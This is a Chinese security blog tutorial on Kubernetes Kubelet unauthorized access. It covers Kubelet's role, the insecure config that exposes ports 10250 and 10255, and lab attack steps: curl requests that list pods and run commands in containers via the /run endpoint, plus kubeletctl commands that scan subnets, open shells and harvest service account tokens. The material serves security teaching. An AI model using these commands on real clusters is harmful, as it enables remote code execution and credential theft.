【云安全】云原生- K8S Kubelet 未授权访问

admin 2025年2月17日09:50:05评论13 views字数 3073阅读10分14秒阅读模式

什么是 Kubelet ?

K8S中的kubelet是一个运行在每个工作节点上的核心组件,它负责管理Node(节点)上的容器生命周期、资源管理、镜像拉取、节点注册、Pod监控和报告、安全性控制以及日志和指标收集,协作容器运行时,以确保容器在节点上正确运行,从而实现容器编排和自动化容器管理。

Kubelet 的核心功能

1、与 API Server 交互

Kubelet 通过 Kubernetes API Server 获取分配给该节点的 Pod 任务,并报告 Pod 和节点的运行状态。

2、Pod 管理

负责管理节点上的 Pod,确保 Pod 中的容器按期望运行。

通过 PodSpec 定义的配置(如 CPU、内存、存储等)来执行调度任务。

3、容器运行

Kubelet 依赖 容器运行时(CRI: Container Runtime Interface) 来启动和管理容器(如 Docker、containerd、CRI-O 等)。

监控容器的健康状态,并在失败时尝试重启。

4、健康检查

定期检查容器的运行状态,如容器崩溃或异常,则重新启动。

通过 Liveness 和 Readiness 探针,决定容器是否存活和是否可以接收流量。

5、日志和监控

负责收集容器日志,并与 Kubernetes 的监控系统(如 Prometheus、Fluentd)集成。

提供 kubectl logs 和 kubectl exec 访问容器的能力。

6、Volume 和 Secret 管理

处理 Pod 中定义的存储卷(Volumes),挂载到容器。

管理 Kubernetes 的 Secrets 和 ConfigMaps,确保应用正确获取配置和凭据。

7、CNI(容器网络接口)支持

Kubelet 通过 CNI 插件(如 Calico、Flannel、Cilium)管理网络配置,确保容器间通信正常。

Kubelet 的架构

Pod Manager:管理 Pod 生命周期,包括创建、删除、更新等操作。

Container Runtime Interface(CRI):与底层容器运行时(如 Docker、containerd)交互。

Volume Manager:处理 Pod 需要的持久化存储。

Status Manager:上报节点和 Pod 状态到 API Server。

Probe Manager:定期进行健康检查。

CNI 网络插件支持:管理 Pod 网络连接。

Kubelet 的工作流程

启动时

连接 Kubernetes API Server,获取分配到该节点的 Pod 任务。

初始化网络、存储等基础设施。

持续运行

监听 API Server 的调度命令。

通过容器运行时启动和管理容器。

监控容器状态,若失败则尝试重启。

进行健康检查,确保服务可用。

定期向 API Server 汇报节点和 Pod 运行状态。

Kubelet 未授权访问 

Kubelet未授权访问又称“Kubelet API 未授权访问”,通常指的是未经过身份验证的用户或服务能够直接访问Kubelet的API,可能导致集群安全风险。Kubelet负责管理每个节点上的Pod和容器,若未授权访问未被妥善管控,攻击者可以利用此漏洞获取敏感信息或控制容器。

该问题主要是由以下文件的不安全配置引起

vi /var/lib/kubelet/config.yaml

10250端口

k8s安装后,kulelet默认是需要授权的,但是如果进行了以下配置就产生了未授权访问漏洞:

【云安全】云原生- K8S Kubelet 未授权访问
anonymous:    enabled: trueauthorization:  mode: AlwaysAllow#重启服务systemctl restart kubelet

现在就可以远程访问了

【云安全】云原生- K8S Kubelet 未授权访问

模拟攻击过程

(1)攻击者通过以下命令检测kubelet未授权访问 

#探测10250端口是否开放nc -vz 192.168.48.142 10250#探测是否可以查看pods,或者直接浏览器访问curl -k https://192.168.48.142:10250/pods

不存在kubelet未授权的情况

【云安全】云原生- K8S Kubelet 未授权访问
【云安全】云原生- K8S Kubelet 未授权访问

存在kubelet未授权的情况

【云安全】云原生- K8S Kubelet 未授权访问

(2)攻击者访问以下路径获取运行中的pods信息(namespace、pod、container)

https://192.168.48.143:10250/runningpods/
【云安全】云原生- K8S Kubelet 未授权访问

(3)再通过kubelet的/run接口在容器内部执行任意命令

#路径模板curl -k -XPOST "https://192.168.48.143:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"#根据上面获取到的信息构造路径curl -k -XPOST "https://192.168.48.143:10250/run/default/nginx-pod/nginx-container" -d "cmd=id"

成功执行RCE,后续利用就是容器逃逸的内容了

【云安全】云原生- K8S Kubelet 未授权访问

10255端口

默认情况下k8s集群不对外开放10255端口,但是如果在配置文件config.yaml中添加如下配置就产生了未授权访问漏洞

【云安全】云原生- K8S Kubelet 未授权访问
readOnlyPort: 10255 #重启服务systemctl restart kubelet

现在可以访问集群的10255端口了

【云安全】云原生- K8S Kubelet 未授权访问

10255端口是只读的,仅涉及信息泄露问题,无法对pod执行命令,危害相对较低

泄露信息包括节点信息,以及namespace、启动配置等

http://192.168.255.131:10255/podshttp://192.168.255.131:10255/stats/summaryhttp://192.168.255.131:10255/healthz

kubeletctl工具

Kubeletctl 是一个实现 kubelet API 的命令行工具。项目地址如下

https://github.com/cyberark/kubeletctl

功能

1、运行任何 kubelet API 调用

2、扫描打开了 kubelet API 的节点

3、使用 RCE 扫描容器

4、kubelet 同时对所有可用的容器运行命令

5、通过 kubelet 从所有可用容器中获取服务账户令牌

使用

#具体见此文:https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster#常用命令:kubeletctl scan --cidr 192.168.255.0/24kubeletctl pods --server 192.168.255.131kubeletctl scan rce --server 192.168.255.131kubeletctl exec "hostname" -p kube-proxy-2rkcg -c kube-proxy -n kube-system --server 192.168.255.131kubeletctl exec sh -p kube-proxy-2rkcg -c kube-proxy -n kube-system --server 192.168.255.131kubeletctl run "uname -a" --all-pods --server 192.168.255.131kubeletctl scan token --server 192.168.255.131kubeletctl pods --server 192.168.255.131 --http --port=10255

使用效果截图

【云安全】云原生- K8S Kubelet 未授权访问
【云安全】云原生- K8S Kubelet 未授权访问
【云安全】云原生- K8S Kubelet 未授权访问
【云安全】云原生- K8S Kubelet 未授权访问

原文始发于微信公众号(仇辉攻防):【云安全】云原生- K8S Kubelet 未授权访问

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日09:50:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云安全】云原生- K8S Kubelet 未授权访问https://cn-sec.com/archives/3748494.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息